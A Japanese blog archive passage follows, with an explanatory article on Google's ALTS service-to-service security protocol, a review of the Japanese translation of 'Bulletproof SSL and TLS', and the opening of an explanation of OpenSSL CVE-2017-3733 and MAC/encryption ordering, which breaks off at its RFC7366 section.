以前から、Googleはデータセンタ内のサービス通信までも暗号化を進めていると言われていました。それは、2013年にエドワード・スノーデンが暴露した資料が、Googleのデータセンタ内部の通信データがNSAによって盗聴されていることをうかがわせるものだったからです(「NSA、グーグルと米ヤフーのクラウドに「思いのまま」アクセスか--米報道」)。

一方、Googleのサービス内通信では、RPC(当時はStubby、後のgRPC)が使われていることはよく知られていました。Googleがサービス内通信の暗号化を進めると聞いても、おそらくRPC over TLSを使うようになったんだろうなぁ、と漠然と想像するだけでした。しかし蓋を開けてみると、GoogleはRPCに特化したALTSプロトコルを独自に開発し、それを全面的に利用していたのでした。しかも幅広いレイヤーの認証を実現する独自PKIシステムと共に... ホント驚きです。

Googleが10年かけてフルスクラッチで作り上げてきたALTSとは、いったいどんなものなのか?詳細はまだ公開されていませんが、WhitePaperから読み取れるALTSの姿を書いてみたいと思います。

Disclaimer

本記事は、公開されている資料から筆者が読み取った内容を記載しています。ALTSの詳細な仕様や実装はまだ公開されていません。筆者の想定違いや読み間違いの部分もあるでしょう。筆者は、Google社とは一切関係なく、元社員や現社員からの情報も持ち合わせていません。従いまして、本記事の内容は、一切保証されませんので、お読みになる際はご注意下さい。

Google サービスのネットワーク構成

まずは、Googleサービスのネットワーク構成を見てみましょう。「Encryption in Transit in Google Cloud」のWhitePaperにその概要が記載されています。また、そこに書かれていないGoogleデータセンター外部(各ISPに張り出しているところ)について、QUICの論文「The QUIC Transport Protocol: Design and Internet-Scale Deployment」に少し記載されており、そちらも参考になります。

これらの情報を合わせて、今回関係ある部分だけを抜き出すと、以下のネットワーク構成のようになっていると思われます。 f:id:jovi0608:20180116020131p:plain エンドユーザのクライアントからの接続は、各ISP内に設置してあるREL(restriced edge location)を通ります。Googleドメイン宛の接続の多くは、まずRELでTCPハンドシェイクの終端をして、その後のTLSのハンドシェイクをGFE(Google Front End)で行うといった2段構成になっています。

UDP通信のQUICは、REL上のUDP Proxyを経由して、GFEで直接ハンドシェイクを行います。論文によると、2016年7月にUDP ProxyによるQUIC接続に構成を変えたところ、検索サービスのレイテンシが4%から7%以上も向上し、TCPを上回る性能改善だったと報告されています。WhitePaperには、GFEがTCPの終端も行うことも記載されているので、全てのクライアントがRELを通るわけではなく、クライアントから直接GFEに接続する構成も存在しているものと思われます。

TLSとQUICの終端を担うGFEでは、DDoS防御の後にバックエンドのサービスへ負荷分散やルーティングを行います。図では、GFEからGCE(Google Compute Engine)のVM(Virtual Machine)、もしくはGoogle Cloud Serviceの2つにルーティングされています。

GFEから Google Cloud Serviceへの通信は、今回の主題であるALTS(Application Layer Transport Security)が使われています。ALTSは、アプリケーション層(Layer 7)で行うRPCの暗号化、双方向認証、完全性の確保を実現するセキュリティ通信で、GFEとGoogle Cloud serviceの間、もしくはGoogle Cloud service間の通信でALTSが使われています。

ALTSは、暗号通信とメッセージ認証だけ行う平文通信の2種類をサポートしています。Googleのデータセンタ間をつなぐWANを経由する場合、ALTS通信は暗号化通信ですが、Googleが管理しているデータセンタ内では、暗号化されずメッセージ認証だけの通信が行われます。これらは全て自動で判断されます。

もう一方のGFEからGCE VM宛の通信では、Google Cloud's virtual network authenticationによるLayer3の認証が行われています。この仕組みの詳細は公開されていませんが、(SDNの?)Control Planeにおいて、送信元がSecurity Tokenを付与し、受信側のホストでそのTokenの検証を行って認証を実現していると記載されています。 f:id:jovi0608:20180116020142p:plain Security Tokenは、Token KeyとHost Secretの2つから生成されています。Token Keyは、senderの物理IP 、VMのネットワークID、仮想VMの送信IPを合わせたもの、Host Secretは受信ホストの物理IPとControl Plain間で共有するPhysical boundary secretを合わせたものから作成します。Physical boundary secretは、2時間毎にControl Plane間で再ネゴシエーションして更新されます。このSecurity Tokenによって送信ホストを認証し、IP Spoofingなどに対する防御を実現しています。

ALTSの特徴

ALTSは、2007年よりGoogle内部で開発が始まりました。当時TLSはそれほどセキュアではなく(TLS1.2は2008年仕様化)、TLSの機能も十分でなかったため、Googleのサービス要件に合わせるためにスクラッチからサービス間通信のプロトコルを開発する道を選んだようです。

TLSで不十分な点は、サーバ名といった名前とその命名スキームに強く機能が結びついてしまうことでした。それに対しALTSでは、複数の名前スキームが使えるようにして、マイクロサービスに適した柔軟性と簡潔性を実現しました。TLSで使うX.509証明書は、ASN.1エンコードでしたが、ALTSではハンドシェイクメッセージや証明書のシリアライズにProtocol Buffer形式を採用しました。Protocol Bufferは、Googleサービス内部で多く使われています。

ALTSの柔軟性は、ホスト名ではなくidentityをベースに認証を行うことにあります。このidentityは、従業員、物理マシン、プロダクションサービス、アプリ実行するWorkload等、ネットワーク上のあらゆるレイヤーのもの全てに割り当てを行い、通信の相互認証を可能としました。しかも、Googleは独自内部PKIシステムも構築しました。内部CAからこれらのidentityにALTS用の証明書をほぼ自動で配布し、初期化時に使えるようにセットアップし、頻繁に証明書の更新や失効操作も自動で行っています。いやはや、これすごいです。

他にもALTSの特徴として、以下の項目が挙げられます。

  • アプリ的には全く透過。開発者はALTSを意識しなくていい。
  • サーバ・クライアント双方でセッション再接続(resumption)が可能で、複数のサーバ・クライアント間でセッション引き継ぎができる。
  • アップデートで最新の暗号方式の導入やプロトコルのバージョンアップなどが容易にできる。

ALTSのトラストモデル

ALTSのすごいことの一つに、物理ホストからアプリ・運用開発者まで含めたトラストモデルを構築していることにあります。ここでは、そのトラストモデルの仕組みについて書きます。

ALTS証明書の種類と役割

ALTSのトラストモデルは、Signing Serviceと Master Certificate、Handshake Certificateの3つのレベルの証明書で構成されています。 Signing Serviceは、root CAを持つ認証局のようなもので、その詳細は不明です。ALTSの証明書は、Singing ServiceからMaster証明書、Handshake証明書へchainがつながり、Handshake証明書が、実際のALTSハンドシェイクで利用されるものです。 f:id:jovi0608:20180116020150p:plain 証明書はidentityベースで発行されます。ALTS証明書発行の特徴として、signer(署名者)とissuer(発行者)の役割が別れていることです。

Master証明書が、Handshake証明書を発行する際、まずSigning ServiceにCSRを送ります。Signing Serviceは、CSRにあるissuerとidentityの関係を署名します。Master証明書は、それにALTSハンドシェイクに必要なパラメータ(ECDH公開鍵、暗号方式、失効IDなど)を付与し、自身の証明書も含めてHandshake証明書を署名・発行します。ALTS証明書は、TLSで使われているX.509証明書と全く異なる内容になっています。

さらにALTSの証明書は、発行するidentityの対象によってHuman, Machine, Workloadの3種類に別れています。それぞれGoogle従業員向け、ホスト向け、アプリ向けの証明書を表します。

Human Certificate

Human証明書は、Google従業員がRPCを使う際に利用する証明書です。Googleの内部CAでユーザ名、パスワード、2FAで認証が通ると、申請者のidentityを持つ20時間有効なHuman Handshake証明書が発行されます。接続先のホストには、あらかじめATLS Policyが配布されており、ATLSハンドシェイク中に証明書のissuerやidentityに応じてアクセス許可が判断されます。 f:id:jovi0608:20180116020158p:plain もし、Google従業員の1人が、どこかのMaster証明書からNetwork Adminなど不正な権限を持つHuman Handshake証明書を発行したとしても、このATLS Policyでissuerやidentityをチェックしており、不正な権限によるALTS接続を拒否するようになっています。

Machine Certificate

Googleのデータセンターに設置されている全てのプロダクション機器は、Machine Master証明書を持っています。Machine Master証明書は、マシン管理デーモンなどのコアアプリを使うため、Machine Handshake証明書を生成します。Machine Handshake証明書のidentityは用途によって別けられており、一つのマシンは異なる複数のidentityを持つことができます。 f:id:jovi0608:20180116020212p:plain Machine Master証明書は、検証されたソフトウェアスタック上でのみ利用でき、一部では物理サーバに付随しているTitanと呼ばれるセキュリティチップからMachine Master証明書の署名検証を行う構成も存在しているとのことです。

Workload Certificate

Workload証明書は、Googleで使われているクラスタ管理システムBorgと連携してアプリケーション間のRPC通信で利用します。このWorkload証明書が、アプリケーションによるサービス間のセキュア通信を実現する証明書です。 f:id:jovi0608:20180116020218p:plain Borgの構成では、BorgmasterがBorgletを通じてアプリケーションを実行するWorkloadを作成します。最初にBorgmasterでは、ALTSdというデーモンによってMachine Master証明書からBorgmasterのHandshake証明書を生成します。これによって、BorgmasterはALTS通信が可能となります。

次にBorkmasterは、Sining Serviceから署名されたBase Workload Master証明書を生成します。これがアプ リケーションに必要なWorkload Handshake証明書を作成・管理します。Borglet経由してWorkload Hnadshake証明書と秘密鍵のペアがBorg Workloadマシンに送付されると、Workloadのアプリは実行時にALTS通信が使えるようになります。これら一連の流れが、Borgの仕組みと連動して実現されています。

証明書の失効と更新

ALTSでは、ハンドシェイク時に一時共有鍵を生成するForward Secrecyを利用していません(機能はサポートされていますが無効化されています)。その代わり、証明書に記載された固定の鍵情報を用いた鍵交換を行います。その際、証明書を頻繁に更新し、同一の鍵を長期に使わないようにしてリスク回避をしています。そのため、証明書の更新期間は非常に短く、以下のように種類によって異なっています。全て自動化されているからできる技です。 f:id:jovi0608:20180116020224p:plain ALTSでは、Human証明書だけ明示的な有効期限を持っています(20時間)。それ以外は、時刻同期の問題によって失効機能の障害が発生するのを避けるため有効期限を記載せず、CRL(証明書失効リスト)を使って直接失効管理しています。

失効情報は、Revocation IDによって管理されます。Master証明書は、事前にRevocation IDのレンジを確保し、Handshake証明書発行時にID割り当ててCRL Serviceに登録します。証明書の更新や事故時に明示的にCRLに登録して証明書を失効させます。このCRLのデータは、全てのサーバに配布されています。膨大なものと思われそうですが、数百メガのデータが圧縮によって数メガ程度になっているそうです。

ALTSハンドシェイク

ALTSのハンドシェイクは、双方向認証のセキュア通信に特化するためTLSのハンドシェイクを効率化し、非常に簡略化したものです。しかも、再接続にはクライアント、サーバそれぞれでチケットを用いたセッションの引き継ぎができる拡張機能も付加されています。

新規接続

ALTSハンドシェイクは、ClientInit/ServerInitとClientFinished/ServerFinishedの4種類だけです。ハンドシェイクの詳細な仕様やフォーマットは公開されていません。 f:id:jovi0608:20180116020230p:plain ClientInit/ServerInitには、各種ハンドシェイクパラメータと証明書の情報が含まれます。Forward Secrecyが使われていないので、鍵交換はClient/Server双方のHandshake証明書に記載されている公開鍵(ECDH:curve25519)を使って行います。

ALTSは双方向認証を実現するべく、サーバ・クライアントは、それぞれの証明書を受信すると、失効情報やポリシーのチェックを行います。

鍵交換で導出された共通鍵は、TLS1.3と同様にHKDF-Expand/Extract(RFC5869)を使って鍵スケジュールを行います。KDF(Key Derive Function)によって、ペイロードメッセージの暗号化するレコードプロトコルの暗号シークレット、完全性をチェックする認証シークレット、次回再接続の際に利用するResumptionシークレットの3種類を導出します。

最後のServerFinished/ClientFinishedは、ハンドシェイクが改ざんされてないことを確認するためのものです。これは認証シークレットとHMACを使って実現します。再接続用のチケットも送付します(後述)。クライアントはServerFinishedを受信したら直ちに暗号化通信を開始できるので、ALTSは1-RTTでアプリケーションデータを送付できることになります。

ALTSのフレームフォーマットは、4バイトの長さフィールド、4バイトのデータタイプのフィールドに続いてペイロードが続きます。ペイロードの最大長は現在1Mバイトで、将来もっと小さくする予定だそうです。TLSと同様にペイロードのreply攻撃に備えるため、サーバ・クライアント双方でシーケンス番号の管理も行われています。

ペイロードの暗号化の場合はAES-GCMとAES-VCM、完全性確保だけの通信ではAES-GMACとAES-VMACのいずれかが利用されます。AES-VCMはあまりなじみがありませんが、2007年頃に提案された暗号方式で、VHASHというユニバーサルハッシュを利用したAEADです。AES-VMACは、VHASHをメッセージ認証に使ったものです。

クライアントResumption

ALTSには、クラスタリング利用を前提とした再接続(Resumption)の仕組みが備わっています。TLSと同様のClient Resumptionです。 f:id:jovi0608:20180116020236p:plain 再接続用にサーバ#1からチケットをクライアントに送付します。チケットは、クライアントのidentityとResumption Secretを暗号化したものです。チケットの暗号化は、Resumption Keyを使って行われます。サーバはクラスタリングされており、同一Resumption IDを持つサーバ間で同一のResumption Keyを共有しています。

クライアントは、同一のResumption IDを持つ別のサーバ#2に再接続すると、あらかじめサーバからもらったチケットを付与してハンドシェイクを行います。サーバ#2はResumption Keyを共有しているので、チケットからResumptionシークレットを復号することが可能です。これを使ってフルハンドシェイクをせずにALTS通信を続けることができます。

サーバResumption

ALTSでは、クライアントResumptionの逆、サーバResumptionの機能も用意されています。 f:id:jovi0608:20180116020242p:plain クライアントもResumption IDでクラスタリングされており、複数クライアント間で同じResumption Keyを共有しています。今度は、最初のハンドシェイクでクライアント#1からチケットをサーバに送っておきます。同一Resumption IDのクライアント#2からサーバに新規接続があった場合、サーバはチケットをクライアント#2に送ります。クライアント#2は、Resumption Keyを共有しているのでチケットからResumption Secretを複合することができます。クライアント#2とは、新規接続だけどフルハンドシェイクなしにALTS通信を継続できることになりました。

サーバResumptionは、複数の負荷分散装置で切り替えやルーティングの変更があった場合でも、配下のサーバへの再接続が新規接続にならないといったメリットを持つことができます。。

ALTSの制限事項

ALTSには、その仕組み上いくつか制限事項があります。

KCI攻撃

ALTSは、KCI(Key Compromised Impersonation: 鍵の危殆化による成りすまし)攻撃を受ける可能性があります。これは前節で説明した通り、Resumption IDが同一の複数のホスト間でResumption Keyを共有しているため、もしどこか一つのホストの秘密鍵やResumption Keyが漏洩して危殆化すると、他のホストに成りすましが可能になってしまうということです。Resumptionの利点を得るためであり、リスクを受容するしかないです。

ハンドシェイクのプライバシー

TLSと同様にALTSのハンドシェイクは平文でやり取りされるため、どのidentityがどこに接続しにいっているのかネットワーク中間者は見ることができます。

Forward Secrecy

先述の通りALTSは、Forward Secrecyを無効にしています。証明書を頻繁に更新することでそのリスクを抑えていますが、更新期間の間はForward Secrecyを維持できません。

0-RTT

ALTSでもTLS1.3と同様に、0-RTTでアプリケーションデータの送付を実現することは可能です。しかし0-RTT で送られるデータはForward Secrecyではなく、reply攻撃に対する脆弱性も持っています。ALTSはRTTが小さい環境で使われるので、あえて0-RTTを使う必要はないと判断し、0-RTTの機能を除いています。

最後に

このようにALTSの設計や機能は、TLSに慣れていた目から見ると非常に気づきが多いものでした。

今後、ALTSの詳細な仕様やオープンソース実装が公開され、標準化の動きが出てくることを期待したいです。もっともその時にはGoogleは既に次の新しいものに移行しているでしょう。

書評:プロフェッショナルSSL/TLS

ごめんなさい、書いてたら長くなってしまいました。長文嫌いな方は避けて下さい。

鹿野さんの名前を間違えてました。大変失礼しました。(_O_)

1. はじめに。日本語翻訳版刊行によせて、

昨年10月、Vさんから

「 Bulletproof SSL and TLS 翻訳本のレビューします?時雨堂が出資してる出版会社が翻訳権を勝ち取ったのです。」

とお誘いを受けたのが、そもそもの始まりでした。

「とうとうあれの日本語翻訳が出るのか、でもホント大丈夫か? 内容の濃さもさることながらあの分量とクオリティ、記述の正確さや厳密さに対して特に高いものが要求されるセキュリティ分野。しかも初心者向けではないエキスパート向け。この本の翻訳を出すとは… なんと大胆、少し無謀なことではないか?」

との思いが正直頭をよぎりました。

自分もちょうど17年半勤めた前職を辞めて転職した直後。新任早々こんなことしても許されるのか? 恐る恐る遠慮がちに上司に伺ったところあっさりOKの返事。さすがっ、理解のある上司で良かった、ホント感謝します。

編集の鹿野さんからの依頼は、

「レビューについては、一文一文を集中的にではなく、ざっと見ていただくようなものを」

と控え目なもの。

「いやいや、この本をざっくりレビューじゃ失礼です。じっくり見させていただきます。」

と、少し自分にプレッシャーをかけつつ読み始めました。

そして一晩作業してみて私からの返事。

「第一印象として、まだ日本語訳としてこなれてない部分が多いなと思いました。特に2章で技術的に難しい記述になると英文の表現に引きずられて日本語の文意が取りづらいなと感じる部分が多くなりました。 日本語訳を読みながら詰まったり、気になったところにコメントを差し込んだのですが、結局29ページで100個近くのコメントになってしまいました。」

まぁ正直な感想です。でも、これじゃ全然先に進まない。

幸いに、技術的に間違って訳している箇所はかなり少なく、ちゃんと内容を理解して翻訳がされているのがわかります。これならきっと原書のクオリティを保ったまま翻訳本にできるはず、そう確信しました。

しかしその後、何章か同じペースでコメントを入れ進めたのですが、そのうち本業の方が立て込んでしまい途中でレビューが止まってしまいました。すみません。

その間、鹿野さんから私のコメントに対する返事を頂いたのですが、驚いたことに監訳の方に丸投げするわけではなく、ちゃんとご自身で判断されて修正対応されてます。私のコメントが間違っていることもしばしばで、逆に鹿野さんから指摘を受ける始末。恥ずかしい。あれっ?エンジニアの方が編集者してるんじゃないか?マジそう思いました。

そんなまま数ヶ月経った後、「原稿を更新しました」とのご連絡。うぅ、うっかりメール見落としてた。直ちに未レビュー章を片付けないとまずい、早速レビュー開始。すると、

「あれっ、めちゃくちゃ読みやすい。この章のレビューコメントがゼロ。」

「うそ、以前ならそんなことはないはず。おかしい。」

「時間をおいてもう一度読み直そう。」

翌日、「やっぱりゼロだ。何が起きたんだ?」

鹿野さん曰く、「思い切った編集方針に切り替えました。」

すごーい! 読んで進む、進む。あかん、このままじゃ本当にレビューしているのか疑われてしまう。そういう心配してしまうくらいの素晴らしい出来になりました。

まぁそんなこんなギリギリまでドタバタのレビューがかかってしまい、ご迷惑をおかけしました。そして無事「プロフェッショナル SSL/TLS」が刊行されました。めでたいことです。

余談はこのぐらいにして早速本の中身について書いてみます。

2. この本の扱う範囲

私は過去2年(2015/16)、セキュリティ・キャンプ全国大会でTLSを教える講義を担当してきました。各地から集まる若く優秀な学生さんに対してTLSをどう教えるのか、最も悩むところです。

結局はいくら悩んでも、TLSのハンドシェイクの仕組みを学んでもらうことに落ち着いてしまいます。やっぱりTLSは難しい。

TLS仕様(RFC5246)自体は、ハンドシェイクやプロトコルフォーマットを規定するだけで、実はX.509証明書などPKIやAES、RSAなど暗号技術の仕様については、TLSで具体的な中身はほとんど含まれていません。これらは他への関連仕様として参照されており、IETFで扱うWGも違います。

後ろ髪引かれるのは、狭義的(RFC5246)な見方では、キャンプではそれらを外部仕様としてTLSを支える土台としてスコープ外にせざる得ないことです。時間的にも、キャパ的にも、全部盛り込むのは無理があります。なので最終的にはこのスライドでごまかしています。 f:id:jovi0608:20170317015704j:plain それに対し本書では、これら全部引っくるめてTLSセキュリティを解説しています。いやさすがです。

本書では、上図の各項目に対応する章として、

TLSのセキュリティ:

「第2章プロトコル」、「第6章実装の問題」、「第7章プロトコルに対する攻撃」

暗号技術:

「第1章SSL/TLS と暗号技術」、「第6章実装の問題」、「第7章プロトコルに対する攻撃」

乱数生成:

「第6章実装の問題」、「第7章プロトコルに対する攻撃」

PKI:

「第3章公開鍵基盤」、「第4章PKIへの攻撃」

秘密鍵の管理:

「第8章デプロイ」

な関係になります。

全部を網羅するので扱う技術領域の幅が一気に増え、それぞれが深い内容を含みます。 まぁどんな専門家でも頭でわかっているつもりなだけで、いざちゃんとした成果物まで仕上げるとなると並大抵の労力ではすまないでしょう。

しかも、さらに私の講義の範囲の図にも入っていない、

上位レイヤー(HTTPS)のセキュリティ:

第5章HTTPブラウザ問題、10章、HSTS、CSP、ピニング

性能:

第9章 パフォーマンス最適化

までカバーしている。あぁもう凄いですね、と感服するしかありません。

既に本書を購入し読み始めた方は、その広大な技術領域と膨大な量に圧倒される人も多いかと思います。

個人的には、これから1章から読み始めることにしても、必ずTLSの技術領域に関する土地勘を意識することが大切だと考えます。ざっと読む部分・深く精読する部分などを決めて、ある程度メリハリのある読み方をすることをお勧めします。

3. この本の凄いところ

話がそれますが、実は先日社内から依頼を受けて「技術のスキルアップ、私のやり方」というセミナーを内部で開催しました。

自分のこれまでの取り組みを振り返りながらあれこれメンバーと共に話をした実に楽しい時間でした。その中で「アウトプット方法 ブログの書き方」というセッションを設け、某メンバーのブログのビフォー・アフターを紹介しながらブログの書き方やアウトプットの重要性などの話をしました。

その時のスライドの一部がこれです。 f:id:jovi0608:20170317015711j:plain f:id:jovi0608:20170317015718j:plain 自分が思うに、今回の本はまさにこれなんですよね。

この本に対して私のスライドを比較するのはほんと失礼だと思いますが、この本の凄いところをこの図に関連付けて書いてみます。

3.1 凝縮された内容

序文で著者自身がこの本の目的を

「著者が時間をかけた分読者の時間は節約できるよう、著者が知っていることの中でも特に重要な内容を詰め込み、僅かな時間で同じ内容を理解してもらうことである。」

と書いています。

まさに「特に重要な内容」を詰め込んでおり、上図の様におそらく著者はこの10倍、もしくはそれ以上の分量を調べ上げているはずです。その中から著書のコンテキストに合わせて絞り込み、体系化した内容にして書いているのだと思います。

この作業自体は他の本でも行われており、特別なことでもないでしょうが、TLSPKIなど過去20年分しっちゃかめっちゃかした技術領域を広く網羅した範囲で行ったのは凄いです。

この本を購入することは、TLS/PKIに関連に重要な情報に辿り着くまでの調査とそれを理解するための時間を買っていると思って良いです。ただ本当のエキスパートを目指す人は、ここに書いてあることが全てではなく、この裏に広大な技術領域が広がっていると思って下さい。

また11章以降は各実装の使い方になっていますが、これは「実際に検証して確認(エピソード記憶)」に該当する作業です。これまで学んだことが実際どう設定に反映されるのかここで結びつけることができます。私が思う本当に理想的なアウトプットだなと感心します。

3.2 何事にも代えがたい一次資料へのポインター

私は原著を所有していますが、実はこれまであまり中身を通して読んだことがありませんでした。使う時は、なにか調べ物をする時です。

新しい脆弱性情報が公開されると全て新規のものは稀で、大概新しい手法に過去の脆弱性を組み合わせたり、改良したりしたものが多いです。その際はこの本が大活躍します。関連するインシデントや脆弱性を楽に探すことができ、その一次リンクが脚注に数多く掲載されているからです。

日々発生する脆弱性やインシデント情報。いくらブックマークしていても少し経つところっと忘れてしまいます。検索で探し当てるにしてもS/N比が悪く効率的ではありません。すっかり忘れてしまった自分のブログに助けられることもしばしば。

この本は本当に一次情報にこだわっています。書いてある内容・図・データも、その多くが一次情報からのエビデンスがあるものということがはっきりわかります。この一次資料へのポインターは、何事にも代えがたい情報です。

これに加え、最新のTLS/PKIの動向や脆弱性の情報は、Bulletproof TLS Newsletter で受け取ることができます。近うちに商品ページからリンクが貼られるようです。毎月1回程度TLS/PKI/暗号技術などの最新情報に関する簡単な 解説やリンクがメルマガのニュースレターとして配信されてきます。普段いろいろアンテナを張っているつもりでも結構見逃しているものが多々あり、このニュースレターで助けられることも多いです。この本を読んで知識を得た方は、是非これで最新情報を得て下さい。

4. 個人的に思う注意点

良い事ばかり書いても書評にならないので、いくつかレビューしていて気づいた注意点を。

4.1 11章以降の実装バージョン

11章以降の実装で解説しているソフトウェアは最新のバージョンに追随していないものがあります。

特に OpenSSL は 1.0.1 をベースとしており、1.0.1 は昨年末にサポートが切れています。手元で試すならぜひ 1.0.2 を使いましょう(実は一部OSディストリビューションではそのまま自社サポートの範囲内で継続利用しているところもありますが、個人的にはあまりお勧めしません)。

ここで書かれているopensslコマンドや出力には、1.0.2でも大部分は違いはありませんが、cipher suite系は異なっている場合があります。

特に本文で解説されているFREAK攻撃などにより輸出グレードCipherは全てdisableされています。さらにSLOTH攻撃の影響でSSLv2も完全に削除されています。 最近では LOW cipher もなくなっており、本書で記述されている出力結果と異なる場合もありますので注意して下さい。

翻訳版は原著のフォークをせず、原著の更新を待つというポリシーですので、しばらくは更新を待ちましょう。

4.2 文書による解説の限界

ここ数年 Inria と Microsoft Research のジョイントFREAK, Logjam, SLOTH などTLSに対する非常に高度な脆弱性の発見と公開がされてきました。

私は原論文を読んでいたので、翻訳文を読んでいるときでも「あぁこの部分はこういう記述にしたのか」とか「これはこのことを指しているな」といったことを思いながら読むことができ、それほど違和感を感じませんでした。その記述は正確性を犠牲にせず、どこまでわかりやすく書こうとしているか、著者の工夫が見られるからです。

しかし、ふと訳文だけしか読んでいない読者だとどこまで理解ができるのかな?と少々不安に思いました。

特に「7.6節 トリプルハンドシェイク攻撃」は、理解するのに最難関の部類に入るものです。

これは翻訳の出来、不出来のレベルではなく、実は容易な文言で解説するにはこの辺が限界じゃないかと思えてしまうほどです。

Face-to-Faceの講義や動画アニメーションなど駆使すれば、なんとか読者にも理解してもらえるかもしれませんが、文書だけではどうでしょう? これ以上もっとわかりやすく書いて読者に伝えることができるか?自分でも全く自信がありません。

これらの部分は、一度読んでもわからないからと言ってあきらめず、是非原論文にでもあたって欲しいなと思います。

4.3 秘伝のタレのような内容

原著は、発行後も更新されています。なので記載の時期によって微妙に記述の仕方が変わっている部分もあります。

もちろん技術的な整合性は取れているので問題はないのですが、RC4の危殆化やBEAST攻撃に関する部分など前半と後半で微妙にニュアンスが違っているなと読んでいて感じるところもありました。

他にも、著者の過去ブラウザの挙動の改善にいろいろ取り組んだ時の経緯で、ブラウザのインターフェイスには結構厳しい表現で書いているところも見られました。この点、著者の努力の甲斐があってかこの領域、最近ではブラウザベンダー側の改善が著しい分野です。特に「5.7 セキュリティインジケーター」で記載されているセキュリティアイコンの変更に関しては、翻訳本では最新ブラウザの画像を使っています(本文の更新自体は原著通りです)。これも今後の改訂が期待されるところです。

頭から読んでいると文書の更新時期が想像でき、まるで継ぎ足しのタレを味わっているようで読んでいて味わい深いです。

5. TLS1.3の改訂に向けて

17章のまとめの文章は、私にとっても非常に考えさせられる文章です。まとめの章は、商品ページに全部が掲載されていますので購入前でも読むことができます。

著者は、

TLSはこれまで欠陥が多く修正が重ねられてきたが、もともと完璧なプロトコルなどはなく、どんなものも同様の状況になりえる、これまで普及して成功を収めたプロトコルに希望を持とう」

と書いています。

TLSはこれまでの数多くの技術負債を抱え、かつ最大の後方互換が求められ安定的に動作することが求められるプロトコルです。つい先日 SHA-1 の衝突耐性が破られました。 md5の歴史から2nd-preimage耐性が破られるまでは時間の問題でしょう。SHA-1証明書が今後どういう命運をたどるのか、md5の衝突をついた「4.5 偽造RapidSSL証明書」を読めば予想できます。多大な社会的コストを払ってSHA-2の証明書に移行を進めたのはこういう過去の教訓を踏まえてのことです。今では md5 は Flame マルウェア内で衝突計算が可能になるまでになっているようです。

TLS1.3では、様々な機能の廃止や見直しが行われています。中身はほぼメジャーバージョンアップレベルであるため、バージョン名をTLS2.0やTLS4にするか、大きな議論に発展し最終的にTLS1.3のままで決着しました。通常その仕様を読んでもどうしてこのような仕様になったのか、その議論の経緯や理由が明確にかつ詳細に書かれていることは少ないです。

本書を読めば、ここに書いてある脆弱性や攻撃を教訓としてTLS1.3の仕様が決められていることがわかるはずです。更新版が来れば、全てがこのTLSの技術負債を(完全ではないが)かなり一掃するTLS1.3の仕様につながっている、と理解する日が来るでしょう。

最後に、

以上、あまり書評にもならないことをつらつら書いてしまいましたが、実際この本が翻訳本として日本語で読めることは日本のエンジニアにとって本当に喜ばしいことだと思います。

先に書いた通り、ここに書いて有ることは本当に重要なことに絞り込んだ内容であり、それ以外の部分がその裏に隠されています。

ということはこの本を使えば、残りの90%をさぐる非常に良い足がかかりになります。 なのでこの本を教材とした勉強会を近いうちに内部で開始するつもりです。さぁ、メンバーが残り9割をこれからどこまで探ることができるのか、今から楽しみです。

OpenSSLの脆弱性(CVE-2017-3733)に見られる仕様とcastの落とし穴

0. 短いまとめ

  • OpenSSL-1.1.0dに脆弱性(CVE-2017-3733)が見つかり、Encrypt-Then-Mac と renegotiation を組み合わせて crashさせることができました。
  • この脆弱性は、仕様の準拠不足や不適切な変数の cast などが原因でした。
  • TLS1.3ではこういう落とし穴が少なくなるよう機能の根本的な見直しが行われています。

1. はじめに

先週 OpenSSL-1.1.0d に対してセキュリティアップデートがあり、 Encrypt-Then-Mac renegotiation crash (CVE-2017-3733)という脆弱性(Severity: High)が公開されました。 対象となった 1.1.0 は、昨年2016年8月にリリースされたOpenSSLの新しいリリースブランチです。1.1.0ではAPIの大幅変更もあり、まだあまり普及していないため影響を受けた方は比較的少なかったのではと予想します。 しかし今回の脆弱性、その原因をよくよく探ってみるとなかなか趣深いものがあります。

そこで Encrypto-then-Macとは何か、Renegotiationとはどういうものか、はたまた何故Highにまで影響するような脆弱性になっちゃったのか、その仕組みを書いてみたいと思います。

2. MtE(Mac-then-Encrypt) や EtM(Encrypt-then-MAC) と AEAD(Authenticated Encryption with Associated Data)

インターネット上でセキュアな通信を行うには、暗号化によってデータの盗聴を防ぐ機密性の確保を行うだけでは不十分です。暗号化の有無に関わらずデータの改ざんを検知し完全性を確保することも必要です。 従来、改ざんを検知するにはデータのMAC(Message Authentication Code)を計算し、その値をデータに付与してチェックを行ってきました。

暗号化とMACの計算、どっちを先にやるのか。その手順の安全性に関して古くから議論が行われてきました。代表的には、MACを先に行うMtE(Mac-then-Encrypt)と暗号化を先に行うEtM(Encrypt-then-Mac)の2つのやり方が挙げられます。TLSSSLの時代から 、ブロック暗号(DES/AES)とCBCモードを利用する際にMACを先に行うMtE方式を採用してきました。しかしこの方式を利用していると、復号化してからデータのチェックを行うためパディングオラクル攻撃の対象となり、これまでソフトウェアの実装不備を突いた攻撃手法がいくつも公表されてきました。中でも2013年の Lucky Thirteen 攻撃CBCモードの実装不備を突いた非常に有名な攻撃手法です。

最近になっても2015年に amazon の s2n に対するLucky Microsecondsや、2016年もOpenSSLのAES-NIの実装不備をついたLuckyNegative20などの脆弱性が公表されています。このようにMtEの安全性を確保するソフトウェアの実装を行うためには、高度なセキュリティや計算機科学の知識と実装能力が必要とされます。個人的には素人が手を出せる領域ではないなと感じています。

そんななか、TLS1.2からAEAD(Authenticated Encryption with Associated Data)という暗号化手法が採用されました。これは内部的にEtMを使いつつも、同時に認証用の高速なMACも合わせて計算するといった方式で、その安全性は利用する対称暗号やMAC 方式に依存するということが数学的に証明されています。しかもAEADは、暗号対象となるデータ以外のデータ(平文のヘッダデータなど)の認証も合わせて行うこともできます。何よりAEADの中でAES-GCM方式は、Intel AES-NIやARMv8のAES拡張機能などハードウェア処理機能が提供されていて、他の方式より格段に高速な処理が実現できるといったメリットがあります。

簡単にMtE, EtM, AES-GCM(AEAD)の方式の違いを表したのが以下の図です。 f:id:jovi0608:20170220113615j:plain 現在のTLSでは、まずAES-GCMのAEAD暗号方式使った通信の利用を中心に考えて良いことは間違いないことでしょう。

3. RFC7366: Encrypt-then-MAC for TLS and DTLS

